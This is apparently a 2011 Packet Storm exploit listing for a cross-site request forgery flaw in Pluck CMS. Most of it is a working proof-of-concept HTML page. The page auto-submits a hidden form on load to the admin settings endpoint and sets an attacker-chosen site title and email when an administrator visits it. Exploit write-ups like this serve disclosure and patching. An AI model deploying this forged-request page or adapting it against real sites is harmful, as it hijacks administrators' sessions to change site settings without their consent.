Pluck CMS Cross Site Request Forgery

🗓️ 22 Apr 2011 00:00:00Reported by Xecuti0N3rType

packetstorm🔗 packetstormsecurity.com👁 26 Views

Pluck CMS Cross Site Request Forgery Exploit to change the Page Title

`#(+)Exploit Title: Pluck CMS Cross Site Request Forgery Exploit  
#(+)Author : ^Xecuti0n3r  
#(+) Date : 22.04.2011  
#(+) Hour : 13:37 PM  
#(+) E-mail : xecuti0n3r()yahoo.com  
#(+)download: http://www.pluck-cms.org/?file=kop2.php  
#(+) Category : Web Apps [XSRF]  
  
  
  
  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  
<html>  
<head>  
<title>Pluck CMS Cross Site Request Forgery Exploit</title>  
</head>  
<body onload="javascript:fireForms()">  
<script language="JavaScript">  
var pauses = new Array( "829","328" );  
  
function pausecomp(millis)  
{ var date = new Date();  
var curDate = null;  
do { curDate = new Date(); }  
while(curDate-date < millis);  
}  
  
function fireForms()  
{ var count = 2;  
var i=0;  
for(i=0; i<count; i++)  
{ document.forms[i].submit();  
pausecomp(pauses[i]);  
}  
}  
</script>  
<H2>Pluck CMS Cross Site Request Forgery Exploit to trick the Admin to Change the Page Title</H2>  
<form method="POST" name="form0" action="http://site:80/<put_pluck_id_here>/admin.php?action=settings&s=4f08df0b7b639e6bc8cd92460944644c">  
<input type="hidden" name="title" value="Victims New Title That attacker Set"/>  
<input type="hidden" name="email" value="[email protected]"/>  
<input type="hidden" name="Submit" value="Save"/>  
</form>  
</body>  
</html>  
  
  
  
########################################################################  
(+)Exploit Coded by: ^Xecuti0n3r   
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r, aNnIh!LatioN3r  
########################################################################  
`

22 Apr 2011 00:00Current

0.4Low risk

Vulners AI Score0.4